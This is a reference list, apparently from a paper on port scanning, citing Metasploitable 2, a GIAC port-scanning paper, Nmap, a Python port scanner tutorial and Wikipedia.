REFERENCES

Metasploitable. (2022). Metasploitable. Retrieved from <https://www.vulnhub.com/entry/metasploitable-2,29/>

Port Scanning Techniques. (2022). Port Scanning Techniques. Retrieved from <https://www.giac.org/paper/gsec/2051/port-scanning-techniques/103585>

Nmap Security Scanner. (2022). Nmap Security Scanner. Retrieved from <https://nmap.org/>

PortScanner. (2022). PortScanner. Retrieved from <https://www.pythonforbeginners.com/code-snippets-source-code/portscanner-in-python>

Port Scanning. (2022). Port Scanning. Retrieved from https://en.wikipedia.org/wiki/Port_scanning